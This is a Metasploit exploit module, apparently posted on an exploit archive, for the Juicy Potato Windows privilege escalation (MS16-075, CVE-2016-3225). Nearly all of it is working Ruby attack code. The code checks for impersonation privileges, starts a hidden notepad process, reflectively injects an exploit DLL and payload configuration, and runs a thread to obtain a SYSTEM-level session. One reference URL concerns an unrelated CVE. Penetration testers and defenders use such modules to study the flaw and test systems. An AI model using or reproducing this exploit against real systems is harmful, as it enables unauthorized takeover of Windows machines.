Microsoft Windows Net-NTLMv2 Reflection DCOM/RPC Privilege Escalation

This Metasploit module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. It requires a CLSID string.


MD5 | 0bd51405f5de7b326324d452ffd4b299

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/reflective_dll_injection'

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
'Description' => %q(
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
to achieve a SYSTEM handle for elevation of privilege.
It requires a CLSID string.
),
'License' => MSF_LICENSE,
'Author' =>
[
'FoxGloveSec', # the original Potato exploit
'breenmachine', # Rotten Potato NG!
'decoder', # Lonely / Juicy Potato
'ohpe', # Juicy Potato
'phra', # MSF Module
'lupman' # MSF Module
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'none',
'WfsDelay' => '20'
},
'Targets' =>
[
['Automatic', {}]
#['Windows x86', { 'Arch' => ARCH_X86 }],
#['Windows x64', { 'Arch' => ARCH_X64 }]
],
'Payload' =>
{
'DisableNops' => true
},
'References' =>
[
['MSB', 'MS16-075'],
['CVE', '2016-3225'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
['URL', 'https://ohpe.it/juicy-potato/']
],
'DisclosureDate' => 'Jan 16 2016',
'DefaultTarget' => 0
}))

register_options(
[
OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
])

register_advanced_options(
[
OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
OptString.new('LogFile', [ false, 'Set the log file' ])
])
end

def assign_target
if target.name == 'Automatic'
case sysinfo["Architecture"]
when 'x86'
vprint_status("Found we are on an x86 target")
my_target = targets[1]
when 'x64'
vprint_status("Found we are on an x64 target")
my_target = targets[2]
else
fail_with(Failure::NoTarget, "Unable to determine target")
end
else
my_target = target
end
return my_target
end

# Creates a temp notepad.exe to inject payload in to given the payload
def create_temp_proc()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X86 and @payload_arch.first == ARCH_X64
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X64 and @payload_arch.first == ARCH_X86
cmd = "#{windir}\\SysWOW64\\notepad.exe"
else
cmd = "#{windir}\\System32\\notepad.exe"
end
begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
rescue Rex::Post::Meterpreter::RequestError
return nil
end

return proc
end

def create_temp_proc_stage2()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if sysinfo["Architecture"] == ARCH_X64 and @payload_arch.first == ARCH_X86
cmd = "#{windir}\\SysWOW64\\notepad.exe"
else
cmd = "#{windir}\\System32\\notepad.exe"
end
return cmd
end

def check
privs = client.sys.config.getprivs
win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
if win10build and win10build[1] > '17134'
return Exploit::CheckCode::Safe
end
win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
if win2019build and win2019build[1] > '17134'
return Exploit::CheckCode::Safe
end
if privs.include?('SeImpersonatePrivilege')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
my_target = assign_target
if check == Exploit::CheckCode::Safe
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
end
if @payload_arch.first == ARCH_X64
dll_file_name = 'juicypotato.x64.dll'
vprint_status("Assigning payload juicypotato.x64.dll")
elsif @payload_arch.first == ARCH_X86
dll_file_name = 'juicypotato.x86.dll'
vprint_status("Assigning payload juicypotato.x86.dll")
else
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
end
print_status('Launching notepad to host the exploit...')
notepad_process = create_temp_proc
cmd = create_temp_proc_stage2
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
configuration = "#{datastore['LogFile']}\x00"
configuration += "#{cmd}\x00"
configuration += "#{datastore['CLSID']}\x00"
configuration += "#{datastore['ListeningPort']}\x00"
configuration += "#{datastore['RpcServerHost']}\x00"
configuration += "#{datastore['RpcServerPort']}\x00"
configuration += "#{datastore['ListeningAddress']}\x00"
configuration += "#{payload.encoded.length}\x00"
configuration += payload.encoded
payload_mem = inject_into_process(process, configuration)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Configuration injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

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